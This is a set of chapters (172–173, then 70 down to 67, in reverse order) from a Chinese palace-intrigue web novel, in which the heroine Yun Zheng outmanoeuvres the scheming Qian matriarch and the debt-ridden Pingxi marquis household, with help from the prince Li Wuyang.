皇上想了想,表示认同,“说的没错,朕最宽宏大度。上下几千年,她这浑不吝的性子,也只有朕能包容。” 大太监:…… 有时候,他也很累,心累。 皇上抱怨了一通,话风一转,“大伴,安排一台花轿,把人悄悄接进宫。” “悄悄?”怎么像做贼? 皇上淡淡的道,“闹成这样不好听,养上一段时间,避避风头再说,老夫人应该能理解的。” 大太监有些同情钱大小姐了,还没进宫就冷处理,看来皇上宠归宠,但不会给她高份位。 可在宫中,宠爱是虚的,份位和孩子才是实打实的。 除非,她手段高明,能哄的皇上改了主意,逆天改命登上高位。 钱老夫人是被抬回府中,全家鸡飞狗跳,全乱套了。 钱维看着躺在床上的老太太,内心极为煎熬,“太医,我娘怎么样?” 太医一脸的为难,“这……” 钱维有种不好的预感,“快说。” 太医轻轻叹气,“老夫人中风了。” 钱家人都变了脸色,老夫人是钱家的顶梁柱,定海神针!天都塌了! 钱维气怒攻心,大声怒吼,“云筝,我跟你不共戴天!” “惠儿,你一定要记住今日之辱,改日百倍千倍的还回去。” 哭红了眼的钱惠应了一声,“是。” 通传声响起,“老爷,宫中来人了。” 钱维精神一震,“来的正好,我要告御状。” 他满腹怨恨的跑过去,但,注定要失望了。 宫中带来了一个好消息,一个坏消息,让钱家冰火两重天,也让钱维兄弟气的吐血。 云筝,你怎么敢诬告? 皇上,您听信谗言,糊涂啊! 第172章 以一敌百,爽(中) 云筝凑过去,在钱老夫人耳边轻轻说道,“内务府广储司的势力归我,顺便把孙守信安插进广储司,做个……银库司库。” 内务府广储司统辖银、皮、缎、衣、茶、瓷六库,银库是重中之重,掌管金银钱币和珠宝玉器。 主事的是员外郎2人,再下面就是司库2人,负责管帐。 换句话说,司库是真正掌握银库的人,也是各方势力必争的位置。 钱老夫人后背发寒,不敢置信的看着云筝。 她知不知道自己在说什么? 区区一个弱女子,居然想将手伸进内务府,还堂而皇之的索要权利。 这野心昭然若揭。 她怎么敢的?就不怕皇上忌惮吗? “郡主,老身恐怕无能为力。” 钱可以给,但权力必须牢牢掌控在自己手里。 云筝淡淡的道,“怎么会?如今内务府广储司的主官是你二儿媳的亲爹,就是说,你们是一伙的,他是你们钱家的卒子。” 她似笑非笑,“你以为,没有皇上的默许,我敢乱来吗?” 她要钱干吗?最后还是便宜了皇上,不如一点点蚕食权利。 钱老夫人的内心狂震,“你……你什么意思?” 云筝卖了个关子,“不出三日,你就知道了。” 她越是这样,钱老夫人心里就越慌,看似荒谬的话,从锦云郡主嘴里说出来,就有几分真实。 是皇上有什么安排?为什么不直接跟她说,反而绕了一个圈子? 难道是对钱家不满了? “还请郡主明言。” 云筝退开两步,保持一定的距离,“行了,该说的都说了。” “老夫人,轮到你做抉择了,一和二,选一个吧。” 钱老夫人心思飞转,“我其实很喜欢孙公子……” 她更希望对方主动退婚,自家担一个受害者的名份,又不想给人家半点补偿,哪有这样的好事? 云筝不耐烦的喝道,“我数到三,如果不选,就默认第一个,我这就替孙公子上门提亲。” “一,二……” 不等她说完,钱老夫人就做出了决定,“我选二。” 退婚,必须退。 她花了十几年时间,精心培养出来的孙女,绝不可能嫁给普通人。 “是我舍不得孙女,我不想让她吃一点苦,那孩子懵懂天真,凡事只听长辈的,我只想给她最好的。” 她最大的弱点是钱惠,名声不能毁了,只能将过错都揽在自己身上,谁会跟一个功勋老人计较? 云筝嘴角轻轻上扬,“行,我就成人之美。” “孙守信,你可愿解除婚约?” 孙守信神色黯然,却强撑道,“强扭的瓜不甜,我不强求。” 云筝微微颌首,“行,把婚书和信物还给钱老夫人。” 太干脆了,让钱老夫人心里发慌,她是出了名的狠辣,不会有什么后招吧。 她想了想,取出一张房契,“这是一套南城的小院子,不大,算是我们钱家的赔礼。” “另外,按照约定,七日内一定会为你安排一个官职。” 至于,是不是内务府的,就不好说了。 就等三日内的消息。 孙守信拱了拱手,“那就多谢老夫人,在此,祝钱大小姐平安喜乐,觅得良缘,夫妻恩爱,子孙满堂。” 他言语诚恳,大方送上祝福。 引的众人夸赞,“孙公子大气。” “孙公子无须伤神,属于你的好姻缘还在后面呢。” “钱家女错过你,是她的损失,钱家小看你,是他们狗眼看人低。” 钱老夫人气结,出了钱,搭上人脉资源,还不落一个好字。 她忍不住看向云筝,云筝冲她微微一笑,“九千岁就在隔壁,他要见你。” 原来在这里等着她呢,钱老夫人脸色微变,“我……出来久了,有些疲倦,想早点回去休息,请您跟九千岁说一声。” 她迫不及待的转身往外跑,这会儿腿不酸,腰不疼了。 身后传来一道幽幽声音,“也行吧,让九千岁好好查一查钱维在任上的所做所为,找人编成戏曲,大江南北的唱一唱。” 那就等着身败名裂吧。 钱老夫人的双脚如被钉住了,再也走不出一步,浑身都在颤抖。 妖孽,恶魔! 她只能跟着云筝走向隔壁,打开门,俊逸的男子映入眼帘。 钱老夫人深吸一口气,心态已经调整过来了,“见过九千岁。” 厉无恙冷冷的看着她,年幼时见过她几次,都不是什么好印象。 “钱老夫人,你对本王很不满?” 钱老夫人强笑道,“不敢,绝无此事,还请王爷不要听信谗言。” 云筝发现钱老夫人对他的忌惮很深,“王爷,她说你耳根子软,不堪大用。” 钱老夫人差点吐血,“你胡说。” 她摆出一副慈爱的面容,“王爷,您是皇室贵胄,切不可学那些市井小民,行事小气……” 云筝立马开口,“王爷,她咒你无父无母,要充当你的长辈,教训你。” 钱老夫人目瞪口呆,有她这么解读的吗? “不不……” 冰冷的声音响起,“掌嘴。” “啪啪。”黑影一闪而过,钱老夫人的脸被打肿了,她又气又羞。 “王爷,打狗还要看主人,你眼中还有皇上吗?” 云筝眼珠一转,“王爷,你赶紧让人去宫中,跟太后告状,有人想当你的娘,对你指手划脚,欺负你呢。” 你有皇上撑腰,王爷有太后啊,谁怕谁? 厉无恙深深的看了她一眼,她一双眼睛又黑又亮,只有真诚,没有别的。 他平静的心微起波澜,挥了挥手,“去。” 一名侍卫闪身离开,钱老夫人的脑袋嗡嗡作响,那位太后看似不问世事,却是大齐最尊贵的女人,连皇上都要敬三分。 更何况,那是皇上的……禁忌。 她哪敢跟太后对上? “王爷,老奴绝无此意,求王爷看在皇上的面子上,饶了老奴吧。” 她认怂了,厉无恙冷戾的目光落在她的老脸上,冷不防问道,“钱老夫人,相思子还有吗?” 这话一入耳,钱老夫人如五雷轰顶,眼前一黑,身体摇摇欲坠,重重摔在地上。 她,居然吓晕了过去! 云筝呆住了,不是吧?这可是心理素质超强的钱老夫人。 不对,不对劲! 第173章 以一敌百,爽(下) 孙守信都傻掉了,被打的猝不及防。 钱老夫人眼含热泪,“孙公子,请看在老身爱孙心切的一片拳拳之心,两家的婚约就此作罢吧,求您了。” 一个皇上信任有加的奶嬷嬷,一个年事已高的诰命夫人,就这么哭求,一下子就激起了大家的同情心。 大家纷纷帮着说话,“孙公子,钱老夫人也不容易,你就成全她吧。” “堂堂一品诰命夫人向你下跪哀求,你就高抬贵手吧。” 孙守信头皮一阵发麻,手足无措,事先没有这样的排演方案啊。 “老夫人,您先起来,这事我做不了主。” 钱老夫人不肯起来,“你是要找家中长辈作主?应该的,你家中长辈还有什么人?老身亲自跟他说。” 她将倚老卖老,发挥的淋漓尽致。 孙守信自己搞不定,索性交给能搞定的人,他看向云筝,“主子,还请您为我作主。” 钱老夫人顺着他的视线看过去,瞳孔剧震,“主子?” 孙守信嘴角轻扬,“对,就在刚才,我认主了。” 钱老夫人不敢置信的睁大眼睛,才短短半个时辰,她是怎么办到的? 或者,这一开始就是一个局,针对钱家的局?! 她越想越担心。 云筝神色淡淡的,“老夫人,我让人传话,应该说的很清楚了,两家可以退亲的。” “不知老夫人为何要这般惺惺作态?是倚老卖老?道德绑架?” “博取同情?还是求得皇上的怜悯?” “或者是,为你孙女披上一层受害者的金光,以待高嫁?” 明明可以完美退婚,钱老夫人却豁出去了,以一品诰命夫人之尊,以老残之躯,跪在孙守信面前。 这一跪,是要彻底断送孙守信的前途,不给他起来的机会。 这一跪,让钱家成为完美受害者,让世人同情钱家,从而得到更多的好处。 最起码,皇上会心疼,会加倍的怜惜钱惠。 可,钱家是受害者,孙守信就是加害者了,隐在他背后的九千岁又算什么? 这老太婆明知此事是九千岁所为,还想掀翻九千岁,让九千岁的威信扫地。 那,就不要怪她不留情面了。 一连串的指控让钱老夫人脸色大变,全被说中了。 ‘“我不是,我没有,你误会了 。” 云筝嘴角扬起一抹凉薄的弧度,“那就站起来,人要堂堂的站着,不能老学狗跪着。” 这话阴阳了钱老夫人,也刻薄了钱家的起家过程。 钱家是靠给人当奴才,喂奶才一步步起来的,当狗当久了,都站不直了。 钱老夫人如被打了一巴掌,老脸通红,又羞又气。 这话太毒了,直接掀了她的老底,让她这几十年的尊荣都踩在脚底下。 贵公子们的脸色也变了,他们也傻了,同情谁不好,同情一个狗奴才。 他们不屑跟钱家为伍! “何必呢,我还是更喜欢锦云郡主大大方方的做派。” “我也是,有一说一,有二说二,光明磊落,做人就该这样。 ” “有些人啊,走惯了捷径,就不愿意踏踏实实做人做事了。” 钱老夫人被丫环颤颤悠悠的扶起来,深吸一口气,“郡主,我是来解决问题的。” 云筝睁着一双无辜的眼睛,“啥?我以为你是来解决制造问题的人。” “孙守信,你也很惨,老夫人这一跪是要你的命啊。” 孙守信闻声色变,“啊,怎么说?” 云筝一脸的同情,“你一个白身居然逼的一品诰命夫人下跪,御史们会弹劾你,让你以死谢罪来维护朝廷的体面。” 这话一出,钱老夫人的脸色剧变。 大家看她的眼神变了,不再是钦佩,而是惊恐和畏惧。 好恶毒的老太太,心机好重,皇上知道吗? 孙守信听明白了,扑通一声跪倒,“求郡主救我。” 云筝微微笑道,“放心,你若有事,我让钱家为你陪葬。” “钱二爷这些年收受贿赂,有几十万两之巨……” 钱家都是小辫子,怎么还敢跳出来闹腾?真以为皇上会死保? 别开玩笑了,皇上是什么样的人,别人不知道,钱老夫人能不知道? 钱老夫人急了,“郡主,我们好好谈谈。” 云筝板着脸,反问道,“谈什么?谈怎么陷害我?还是谈怎么将令孙女……”送去宫中? 她出招太犀利,剑剑都往钱家的要害捅。 钱老夫人额头渗出密密麻麻的汗珠,嘴唇发白,“我错了,我一时老糊涂了,不该不顾朝庭的体面,向一个白身下跪,一切罪责都是老身的,若御史弹劾,老身自会请罪。” 她不得不低头,心中全是屈辱,这么多年谁敢让她如此难堪? 云筝看着这个高傲的老太太低头,脑海里闪过很多念头,“年纪大了就容易糊涂,我能理解。” 钱老夫人气的胸口疼,但面上不敢流露出来,“多谢郡主体谅。” 云筝想给她体面,可她不配啊。 “不过,尽量少出门,儿孙自有儿孙福,纵然儿孙不争气,也不会影响您的荣华富贵。” “您啊,整天算计别人,累不累呀?听我一句劝,辛苦了一辈子,好好享清福吧,皇上是英明之主,极为念恩,你们钱家不折腾,也会有一个好结果,没必要踩着别人的尸骨往上爬。” 这话好狠,再折腾就显得他们信不过皇上。 钱老夫人眼前一阵阵发黑,咬碎了银牙,强忍着没有晕过去。 这一局,她输了,输的很惨。 江山代有才人出,云筝年少,锐气十足,而她老了。 “你想怎么样?” 攻守之势反转,主动权落到了云筝手里,云筝嘴角轻轻上扬,说出一句让钱老夫人后背发寒的话…… 第70章 渣男的绝望 江闻舟带着自己的一众亲信匆匆赶过来,就见库房大开,下人们在里面翻找东西。 你拿一个花瓶,我拿几个碗碟,他拿几个盘子,现场乱成一团。 虽然侯府没银子,但这些日常之物也值几个钱,能拿去当铺换钱。 江闻舟勃然大怒,这怎么像是抄家现场?他家还没有败呢。 “统统住手,你们这在干什么?都不想活了?偷盗主家财物是死罪。” 下人们吓了一跳,本能的畏惧这位二公子,曾经的侯府继承人。 “二公子,我们也是逼不得已,三个月没发月银,家里人都快饿死了。” “我们也不想这样,京城哪家会苛扣奴婢三个月的月银?我们忍了三个月,已经仁至义尽。” 若有办法,他们也不会出此下策。 “二公子,您别尽顾着风花雪月,赶紧给我们发月银吧,我们都要养家糊口的。” 江闻舟早就知道帐上没钱了,能拖三个月是画了大饼,保证新妇进门后,多发一个月的月银。 结果,云筝油盐不进,宁可将嫁妆捐了,也不肯掏一文钱出来。 他心中恨极,却拿云筝无可奈何。 “来人,把这些偷盗侯府财物的奴才都抓起来,五十大板。” 他要杀鸡儆猴,杀一杀这股风气,否则以后这府里就要乱了。 他的亲信立马抽出武器,对准那些下人。 气氛一下子紧张起来,下人们的脸色都变了,慌乱不安,还隐隐有怨气。 就在此时, 一道声音猛的响起,“统统不许动。” 江闻舟猛的扭头,震惊的看着京兆府尹带着一群捕快衙役冲进来,“尹大人,你怎么来了?” 尹大人大晚上的被叫来,神色不愉,“你们侯府前来报案,说发生恶劣的群体械斗,到底怎么回事?” 江闻舟的脸色发青,家丑不可外扬,“我没有报案……” “是我报的。”云筝从暗处走出来,紫烟和几个侍卫跟在她身侧。 江闻舟气的浑身发抖,“谁让你报案的?” 他转头赔笑道,“尹大人,她不懂事报假案,请回吧,改日我自当登门拜访。” 京兆府尹是京畿地区的行政长官,这个位置一定是皇上的心腹,江闻舟也不敢轻易得罪。 云筝笑眯眯的开口,“尹大人,今晚若死了很多人,你知情不管,这责任你首当其冲。” 尹大人早就听说云筝的行事作风,不服就干,谁的面子都不卖。 “江二公子,到底怎么回事?” 江闻舟心思飞转,“这些下人偷盗府中财物,我正想惩罚他们……” 他极力想将事情压下去,丢不起这个脸。 一名下人跪下来哭诉,“大人,冤枉啊,是侯府欠了我们三个月的月银,我们快饿死了。” 尹大人惊呆了,啥?三个月不发月银?他没听错吧? 这可是堂堂百年侯府,显赫富贵,荣耀光鲜的侯府,怎么可能发不出月银? 他知道平西侯府娶大齐首富独女,就是为了银子,但侯府穷成这样,超出他的想象。 一名下人大声嚷嚷,“我们都是良民,我们只是在拿回自己的工钱。” 平西侯府苦心维系的体面在这一刻,轰然倒塌。 江闻舟的脸火辣辣的烫,羞窘难当,“什么良民?你们都签了卖身契!” 就算打杀了奴婢,也就罚点钱,但,如果打杀良民,那是要治罪的,性质截然不同。 那下人拿出一张卖身契,“大人容禀,我们都去官府销了卖身契,如今是良民了,您尽可以查。” 按照大齐的律法,不管是什么契书,都要去官府备案的。 签卖身契时,要上档备案。解除卖身契时,也得去官府取消,才算恢复自由身。 江闻舟不敢置信,“你们怎么会有卖身契?谁给你们的?” 他记得府中下人的卖身契都由母亲保管,但,母亲是不可能轻易将这些还给下人。 尹大人让人回去查档案,手下匆匆而去,匆匆而来。 “大人,确实都销了卖身契,他们都是良民。 ” 而且,这时间点很有意思,白天销了档,晚上就抢东西。 江闻舟大惊失色,脑袋嗡嗡作响,这是被谁摆了一道? 下人们多了一丝底气,“我们拿东西抵工钱,有什么错?” “江二公子,要不,你把月银发了?” 江闻舟心乱如麻,知道事态不可控了,“云筝,快把银子拿出来,先把月银发了,大家都不容易。” 说的好像是云筝没发工钱,是她不讲道义,跟侯府没关系。 云筝气笑了,“都拍卖了呀,哪来的钱?不是我说,侯府穷的叮当响也没啥,但打肿脸充胖子骗婚就挺丢人的。” “没钱就不要请这么多下人嘛,体面是自己挣的,不是靠摆个花架子就有的。” 她直接撕开侯府的虚假繁华,字字如刀,扎的江闻舟满面通红,狼狈不堪,羞愤的想杀人。 但,他还得低声下气的讨好,“云筝,就当是我借的,我保证,一定会还的,我这就写借条给你。” 云筝一点面子都不给,“你上次强夺嫁妆后,明镜司不放心就将嫁妆拉走了,你也是亲眼所见,哪来的银子借你?” 江闻舟的脸色青青白白,难看到了极点,“要不,你回娘家周转一下?” 尹大人:…… 他表示大开眼界!这哪是侯府公子,分明是无赖! 衙役们也大为震惊,迫不及待的想跟亲朋好友分享这奇葩事。 云筝倒是一点都不惊讶,江家早就将云家的财富当成自己的。 “其实,何必那么麻烦,侯府穷的请不起这么多人,那就放他们走。” “至于所欠的月银,拿东西抵呗,你们看中什么自己拿,欠债还钱,天经地义。” “还是二少夫人明事理,懂得体恤下人。” 大家一拥而上,拿了看中的东西就跑,在侯府当奴婢是没有前途的。 总不饿着肚子,倒贴服侍人吧。 江闻舟心底升起一丝绝望,侯府老底被掀了,成了天大的笑话,皇上会怎么想?朝臣们会怎么想? 最重要的是,出了这样的事,那些世叔世伯还会帮他吗? 不行,他不能坐以待毙! 第69章 还燕窝呢,吃野菜吧 客院,叶宜蓁躺在床上一动不动,眼睛无神呆滞,不知在想什么。 忽然,肩膀不受控制的抽搐,如针扎般疼痛难忍,豆大的汗珠滚落下来。 她紧抱着肩膀,脸色苍白如纸,无助而又怨恨。 恨,好恨! 云筝,厉无恙,等着瞧!她不会放过他们的! 外面传来喧嚣声,她的眉头一皱,抄起手边的茶具砸过去,“吵什么吵。” 她的脾气越来越暴躁,再也装不出温婉柔顺的模样。 丫环都不敢大喘气,小心翼翼的禀道,“大管家来了。” 大管家刚走进来,叶宜蓁就迫不及待的质问,“你来的正好,我要的血燕窝和百年老山参呢?” 这几日也不知怎么搞的,饭菜的水准一下子降低了,粗菜淡饭,让她难以下咽。 她很想喝燕窝,以前她天天要喝一盏的,不喝难受。 而她配药所需的百年老山参还没有着落,喝的汤药功效不行,这让她很不满。 大管家暗暗吐槽,还血燕窝呢,想什么美事,连侯夫人都没得喝。 “二公子已经在张罗了,您再等等。” 江闻舟不在府中,他四处奔走,拜访了以往交好的世交亲友,请他们出面为他说一句好话。 不要废长立幼! 叶宜蓁脸色忽青忽白,“库房怎么可能没有?” 大管家偷偷瞟了门口一眼,迟疑了一下,随后交出一串钥匙,“这是管家的令牌和各库房的钥匙,您不信的话,可以拿去查看。” 叶宜蓁怔了怔,“管家令牌?夫人怎么舍得拿出来?” 侯夫人把管家大权看的很重,那是她主母的权力象征,不愿意让别人碰。 大管家愁眉苦脸,“夫人出远门了。” 这好端端的出什么远门?也没有提前说一声,忽然,叶宜蓁反应过来了,“今日是几号?” “十四号。”大管家的脸更苦了。 每个月的十五号就是发月银日,全府上下都盼着呢,已经欠了三个月,只等着新妇进门解决。 叶宜蓁脸色一变,将令牌扔了回去,“拿去给……云筝,让她好好管家,我要的东西在天黑之前送过来。” 她眼珠飞转,自己受了大罪,急需要名贵的补品。 “对了,人参、冬虫夏草、鹿茸、藏红花、灵芝都来一斤。” 都是云筝害了她,拿这些补偿天经地义。 一道尖利的声音响起,“叶氏,侯府不养闲人,你别躺着装尸体,赶紧起来干活。” 是李嬷嬷,她就站在门外。 叶宜蓁气白了脸,“你……你怎么说话的?还是宫中的嬷嬷,太不讲究了。” 李嬷嬷呵呵一笑,“我是分人的,有些人不需要讲究。侯夫人点名让你管家,你可是她嫡嫡亲的大儿媳妇,好好干。” 叶宜蓁深吸一口气,打死不肯接手这个烫手山芋。 “我还在养伤,恐怕无法胜任,就让弟妹代劳吧,我想,这侯府迟早要交到她手上的。” 李嬷嬷神色惊讶,“你还不知道吗?” “什么?”叶宜蓁有些不安。 李嬷嬷呵呵一笑,幸灾乐祸,“侯爷上书请立江闻云为新世子,以后,你们这一支就要搬出侯府,成为旁支,二公子没个正经营生,将来啊,也不知能不能养活你。” “还燕窝呢,我看吃野菜还差不多。” 自家主子已经发誓,不会给侯府花一分钱,若违誓言,侯府不得好死。 叶宜蓁慌了手脚,不,她可不想当平民!“这不可能。” 第二日,到了发月银的日子,下人们齐刷刷的赶往客院,请叶宜蓁发钱。 叶宜蓁哪有什么银子,身体又不舒服,快被逼疯了。 “你们去找云筝,她有的是银子。” 李嬷嬷就站在一边嚷嚷,“我家小姐说了,长幼有序,不敢越过长嫂管家。” 这话太有道理了,没法反驳,下人们只盯着叶宜蓁要钱。 “我病了,没法理事,让弟妹……” 李嬷嬷不耐烦的打断道,“你又没死,只要有一口气就得干活。” 叶宜蓁气的嘴巴都歪了,这日子没法过了。 大家追着她要银子,不管她卖惨,还是装可怜,在自己切身利益面前,都没用。 拿不到月银的下人消极怠工,不开火,不打扫,整个侯府都停摆了。 没饭吃,没水喝,没人收拾屋子,一切都乱了套。 云筝是一点都不受影响,院子里有小厨房,开销都是自己来,小灶吃起来。 她舒舒服服的吃着新鲜水果,“紫烟,再给他们加一把火。” “是。” 当晚,忙碌了一天的江闻舟拖着疲惫的身体回家,但精神很不错。 叶宜蓁脸色发白,气色极差,拉着他的胳膊不放,“夫君,你快管管吧,我撑不住了。” 她感觉要死了,哪哪都不舒服。 江闻舟瘫坐在椅子上,“再忍忍,我已经求得几位世伯允诺,助我恢复世子之位。” 这才是头等大事,其他都放一放。 叶宜蓁精神一震,“真的吗?” “真的。”江闻舟深知,世子之位才是他的立身根本。 叶宜蓁也很高兴,“可眼下怎么办?” 江闻舟微微蹙眉,“明日,我去找云筝好好谈一谈,这样下去对谁都不好。” 叶宜蓁提醒了一句,“你说话婉转点,她吃软不吃硬。” 江闻舟一把捏住她的下巴,眼神复杂,“你不吃醋?” 叶宜蓁心里一惊,主动扑入他怀里,眼含热泪,脆弱而又委屈,“为了你的前程,为了侯府的未来,我愿意牺牲所有。” 江闻舟轻拍她的后背,“你放心,你永远是我最爱的女人……” 就在此时,他的亲信闯了进来,神色慌乱,“二公子,不好了。” 江闻舟恼了,脸色一沉轻斥,“出了什么事?” 亲信急坏了,“下人们把库房砸开了,抢了东西就跑。 ” 江闻舟一脸的匪夷所思,怀疑自己的耳朵出了问题。 “什么?好大的胆子,他们怎么敢的?” 要知道,下人是签了卖身契,生死都掌控在主家手里。 他们这么搞,等于是叛主,是死罪! 春晓院,紫烟从外面进来,行了一礼,“主子,都安排妥当了。” 云筝的眼睛刷的亮了,兴致勃勃的站起来,“走,我们去凑凑热闹。” 一切都在她掌控中。 哈哈哈,这是她送给江闻舟的大礼,希望他会喜欢! 想想就刺激! 第68章 暴露她的身世,这合理吗 平西侯眉头紧皱,叶宜蓁是他家远房亲戚的女儿,父母双亡上京投靠侯府。 当时,叶宜蓁主仆在大门口苦苦哀求,还哭晕过去,惊动了不少御史。 为了好名声,他收留了叶宜蓁,就当是阿猫阿狗般养着,给一个院子,一日三餐,也费不了几个钱。 谁知,叶宜蓁很善解人意,乖巧又孝顺,哄的侯夫人很开怀, 跟闻月也处的跟亲姐妹似的,侯府上下交口称赞。 渐渐的,她就融入到了侯府中,成了侯府人见人爱的表小姐。 说实话,他从来没有在叶宜蓁身上花过心思,自然也没有派人去西南核查过她的身世。 “当初,她上门时拿的信物没问题,很多细节都对得上,所以,我没有怀疑过。” 如今回想,当初叶宜蓁找上门时,在大门口哭晕过去,逼的他不得不收留的行为,确实很心机。 江闻舟一直记得叶宜蓁初来侯府时的模样,怯弱,惶恐,楚楚可怜,急需别人保护,一口一声哥哥,又乖又甜,激起了他的保护欲。 “我觉得蓁蓁没有问题,别人不了解她,我们还不了解吗?” 他不肯相信,自己的眼光有问题,更不相信,叶宜蓁一直在利用他。 “再说,我们侯府有什么值得别人花十年时间布局的?” 平西侯脑海里闪过一道灵光,但,来不及抓住,就听到江闻舟恳求的声音, “父亲,请先不要急着请立世子,再给我一个机会,我保证不会让您失望。” 看着儿子惶恐不安的脸,平西侯心中很是不忍,但,不得不硬起心肠,“这是你选择错误付出的代价,闻舟,别怪父亲,父亲也是为了保全平西侯府。” 在他心里,平西侯府的传承才是最重要的。 江闻舟嘴里发苦,还不肯放弃,“可,闻云能力不足,挑不起侯府的重任。” 平西侯想到九千岁的态度和话里的深意,暗暗心惊,“这未尝不是明哲保身的办法,平庸的侯府继承人或许才合了皇上的心意。” 他没说的是,请立嫡幼子为世子,也是为了试探圣意。 皇上生性多疑,勋贵势力太大,继承人太优秀会被忌惮。 他语气缓和了几分,安抚道,“不过,你是我最心爱的儿子,以后分家时不会亏待你。” 分家?穷成这样,有什么可分的?分家后,他就是普通人,连职务都没有的普通人,哪比得上侯府世子的风光?江闻舟心中闪过一丝戾气。 平西侯安抚了半晌,江闻舟勉强挤出一丝笑,只是等父亲走后,他的脸渐渐阴沉下来,冰冷的可怕。 深夜,夜深人静,室内薰香袅袅,淡淡的,极为好闻。 床上躺着叶宜蓁,她面色灰败,气息微弱,要不是胸口有起伏,还以为死了呢。 两个丫环跪坐在脚踏,半伏在床上睡着了。 一道黑影闪进来,看了一眼,微微皱眉,掏出一颗药丸塞进叶宜蓁嘴里。 不一会儿,叶宜蓁的气息就平稳了下来,苍白的脸多了一丝血色。 黑影悄无声息的闪身离开。 第二日清晨,丫环醒过来,神色恍惚,昨晚守夜怎么睡着了?是太累了? 她一转头就看到一双乌黑的眼睛,顿时喜出望外,“主子,您醒了?太好了,快叫太医。” 太医又一次被请了回来,看到叶宜蓁的气色惊了惊,随后,搭上她的胳膊诊脉。 良久后,他满脸的惊讶,“大少夫人,您这是吃了什么神丹妙药,怎么一夜之间就恢复了大半的生机?” 叶宜蓁温婉的笑了笑,“可能是老天爷见我可怜,不忍我受苦吧。” 她不愿说,太医也不勉强,“好好养着。” 叶宜蓁虽然恢复了不少,但肩膀疼的厉害,抬手都成了奢望,“太医,我的左肩能恢复如初吗?” 太医微微摇头,一脸的惋惜,“肩胛骨碎了,再好的药也没法愈合。” 叶宜蓁心在滴血,恨意在心底疯狂蔓延,“世子呢?他昨晚没守着我?” 丫环小心翼翼的禀道,“二公子可能累了,一直在房间休息。” 叶宜蓁眼中飞快闪过一丝怨恨,这是嫌弃她残废了吗? 而,太医一回宫就被叫去面圣,向皇上禀报叶宜蓁的病情。 皇上有些意外,“你是说,叶宜蓁服了神丹妙药?” 太医眼中有羡慕之色,“是,应该是神药门的小还丹。” 神药门是一个隐世医毒双绝的江湖门派,离群索居,与世隔绝。 小还丹是疗伤圣品,一颗千金难求,让无数江湖中人趋之若鹜。 皇上挥手让他下去,随后,看向一边的厉无恙,“看来这叶氏很有底蕴,连这种药都能弄到。” 厉无恙淡淡的道,“我让人去神药门要一个说法,普天之下,皆是王土,神药门位于我大齐幽然谷,就得听王命。” 对明镜司来说,神药门的所在不是秘密。 这说辞让皇上很满意,微微颌首,“让他们进献五颗小还丹。” “是。”厉无恙话风一转,“昨晚有黑影进入叶氏房中,身上已经染上明镜司特制的千里香,此香三个月不散,就算跑到天涯海角,也能将其和背后的势力挖出来。” 皇上略一沉吟,“你觉得,陈冬说的话有几分可信?” “八成。” 皇上挑了挑眉,“他极力保护叶氏,却在最后一刻暴露她的身世,这合理吗?” 厉无恙面无表情的说道,“再不暴露,叶氏就见不到明日的太阳,我会送她上西天。” 当时叶氏只有一口气了,再挨打,必死! 皇上把玩着茶杯,沉思半晌,“朕总觉得哪里不对,好好查。” “是。” 又是新的一天,云筝梳洗完,刚出院门,就被大管家拦住了去路。 “二少夫人,这是侯府的管家令牌,侯爷特意让奴婢送来,说,全府上下都听您吩咐,您说一,我们绝不说二。” 云筝挑了挑眉,如果没有记错的话,明日就要发下人的月银了,侯府这是掏不出来,让她填坑? “回去跟侯爷说,要我管家也行,先给我一万两黄金当管家费。” 大管家:账上全是亏空,哪来的银子? “侯爷和夫人刚出远门,要过半个月才回来。” 逃了?云筝气笑了,以为这样就能逼她掏钱解决侯府的困境? 想的真美,她可不会中计! 她眼珠一转,就有了鬼点子,嘴角扬起一抹坏笑…… 第67章 叶宜蓁的身份有问题 忽然,陈冬一口血喷出来,顷刻间胸前一片猩红。 厉无恙的反应极快,轮椅一转,轻易避开了。 谷雨脸色大变扑过去,“不好,他咬舌自尽了,快救人。” 府医吓的魂飞魄散,“让我过去,我来救,阿冬,你别吓我。” 除了府医外,安姑姑也冲过去急救,现场乱成一团。 半晌后,安姑姑看着气息全无的男子,轻轻叹了一口气,“没救了。” 府医瘫倒在地,泪流满面,“阿冬,你怎么这么傻?” 云筝冷眼旁观,内心没有一丝波澜,这般绝决赴死,可不是一般人。 “叶宜蓁怎么像个扫把星,专克身边人,上一个为她丧命的还是她最亲近的奶嬷嬷,这次是陈冬。” 她看向不远处的江闻舟,“下一个轮到谁呢?你?还是你的父母家人?” 江闻舟心里乱糟糟的,他再傻也意识到事情不对劲,更何况,除了叶宜蓁的事上犯糊涂,别的精明着呢。 “你闭嘴,明明是被你逼的。” 对,是她造成的,蓁蓁清清白白的,善良又温柔,怎么可能有问题? 云筝微微一笑,“你慌了,你是怕陈冬和叶宜蓁有不可告人的关系。你怕看走了眼!” 她尽说大实话,扎的平西侯父子心浮气躁。 最后,是厉无恙发了话,“先给叶氏治伤,剩下的板子暂且记下,改日再打。” “把府医和陈冬的尸体带回明镜司。” 扔下这话,他带着手下打道回府,平西侯全府上下跪送。 云筝眼珠一转,忍不住追了上去,“王爷,我送你呀。” 走了一段路,厉无恙一个眼神,四周的侍卫渐渐拉开距离。 云筝凑了过去,眼睛闪闪发亮,“王爷,陈冬到底说了什么?” “要是不方便的话……”她实在是太好奇了。 “叶宜蓁的身份有问题。”厉无恙定定的看着她,“我要进宫跟皇上说一声。” 云筝的好奇心一下子被挑了起来,“什么问题?” 厉无恙含蓄的说道,“我派人去西南查,在事情没有明了前,一切不好说。” 他都这么说了,云筝也不好强求,主动换了个话题 。 “陈冬的供词漏洞颇多,他这一身武功哪里学来的?蛰伏多年却没有下手,不觉得奇怪吗?” 厉无恙心中有数,“最高明的谎言,是九真一假。” “关键点在于叶宜蓁,只要查清她的身世,一切迎刃而解。” “所以,她现在还不能死。” 这也算是婉转的解释,云筝点了点头,“我知道,大局为重,我不急。” 再说了,活着受罪未必比死了好。 对心高气傲的叶宜蓁来说,成了残废是她这一生都无法释怀的痛苦。 厉无恙提点了一句,“我会派人盯着叶氏,你尽量不要主动靠近她。” “好。” 厉无恙见她如此乖巧,心里一软,“我会安排两个人进府暗中保护你。” 云筝喜笑颜开,眉眼弯弯如月牙,熠熠生辉,“谢王爷,您对我真好。” 没想到生人勿近的高冷王爷,对属下这么关照,她算是抱对大腿了,开心。 厉无恙嘴角微微上勾,眉眼也舒展了几分。 她笑起来有一点点好看。 梧桐院被烧掉一大半,不能住人了,江闻舟将叶宜蓁安置在客院。 叶宜蓁遍体鳞伤,惨不忍睹,昏迷不醒。太医和医女正在给她治疗,处理伤口。 